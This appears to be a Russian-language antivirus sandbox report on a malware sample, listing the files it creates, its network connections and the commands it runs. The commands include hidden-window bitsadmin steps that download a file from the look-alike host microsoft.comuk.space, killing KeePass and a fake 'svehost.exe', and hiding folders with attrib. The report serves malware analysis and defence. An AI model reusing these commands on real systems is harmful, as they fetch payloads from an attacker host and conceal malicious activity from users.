Техническая информация
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /im svehost.exe /t /f
- '%WINDIR%\syswow64\taskkill.exe' /im keepass.exe /t /f
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\202200516_170596.mp4
- C:\users\public\appdata\libs\u.nfo
- %LOCALAPPDATA%\packages\microsoft.zunevideo_8wekyb3d8bbwe\ac\microsoft\cryptneturlcache\metadata\77ec63bda74bd0d0e0426dc8f8008506
- %LOCALAPPDATA%\packages\microsoft.zunevideo_8wekyb3d8bbwe\ac\microsoft\cryptneturlcache\metadata\57c8edb95df3f0ad4ee2dc2b8cfd4157
- %LOCALAPPDATA%\packages\microsoft.zunevideo_8wekyb3d8bbwe\ac\microsoft\cryptneturlcache\metadata\fb0d848f74f70bb2eaa93746d24d9749
- %LOCALAPPDATA%\packages\microsoft.zunevideo_8wekyb3d8bbwe\ac\microsoft\cryptneturlcache\metadata\26c212d9399727259664bdfca073966e_912c3ca51de6018a7be4ca7bc64aafcd
- %LOCALAPPDATA%\packages\microsoft.zunevideo_8wekyb3d8bbwe\ac\microsoft\cryptneturlcache\metadata\e2c6cbaf0af08cf203ba74bf0d0ab6d5_eaf5d55d93603a879fa973006301f24f
Сетевая активность
Подключается к
- 'se######-ssl.xboxlive.com':443
- 'go.microsoft.com':443
- '19#.#32.210.172':80
- 'oneocsp.microsoft.com':80
- 'activation.playready.microsoft.com':443
TCP
Запросы HTTP GET
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?08##############
- http://oneocsp.microsoft.com/ocsp/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQ3L3%2F%2Fa6ADK8NraY2GXzVaYrHG4AQUb6t%2B2v%2BXQ3LsO2d33oJhNYhHQoUCEzMAAAAGb6JMMcOVb6sAAAAAAAY%3D
Другие
- 'se######-ssl.xboxlive.com':443
- 'go.microsoft.com':443
- 'activation.playready.microsoft.com':443
UDP
- DNS ASK mi#####ft.comuk.space
- DNS ASK se######-ssl.xboxlive.com
- DNS ASK go.microsoft.com
- DNS ASK oneocsp.microsoft.com
- DNS ASK activation.playready.microsoft.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
- ClassName: 'NarratorUIClass' WindowName: ''
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c whoami (со скрытым окном)
- '%WINDIR%\syswow64\whoami.exe'
- '%WINDIR%\syswow64\cmd.exe' /c attrib +h C:\Users\Public\AppData (со скрытым окном)
- '%WINDIR%\syswow64\attrib.exe' +h C:\Users\Public\AppData
- '%WINDIR%\syswow64\cmd.exe' /c attrib -h C:\Users\Public\AppData\Windows\svehost.exe (со скрытым окном)
- '%WINDIR%\syswow64\attrib.exe' -h C:\Users\Public\AppData\Windows\svehost.exe
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /im svehost.exe /t /f (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /im keepass.exe /t /f (со скрытым окном)
- '%ProgramFiles%\windowsapps\microsoft.zunevideo_10.19071.19011.0_x64__8wekyb3d8bbwe\video.ui.exe' -ServerName:Microsoft.ZuneVideo.AppX758ya5sqdjd98rx6z7g95nw6jy7bqx9y.mca
- '<SYSTEM32>\svchost.exe' -k appmodel -p -s camsvc
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /cancel pdj (со скрытым окном)
- '%WINDIR%\syswow64\bitsadmin.exe' /cancel pdj
- '<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /create pdj (со скрытым окном)
- '%WINDIR%\syswow64\bitsadmin.exe' /create pdj
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /SetPriority pdj HIGH (со скрытым окном)
- '%WINDIR%\syswow64\bitsadmin.exe' /SetPriority pdj HIGH
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /addfile pdj "http://microsoft.comuk.space/i.php?u=ufomixv_user&i=proxy ip" C:\Users\Public\AppData\Libs\p.b (со скрытым окном)
- '%WINDIR%\syswow64\bitsadmin.exe' /addfile pdj "http://microsoft.comuk.space/i.php?u=ufomixv_user&i=proxy ip" C:\Users\Public\AppData\Libs\p.b
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /resume pdj (со скрытым окном)
- '%WINDIR%\syswow64\bitsadmin.exe' /resume pdj
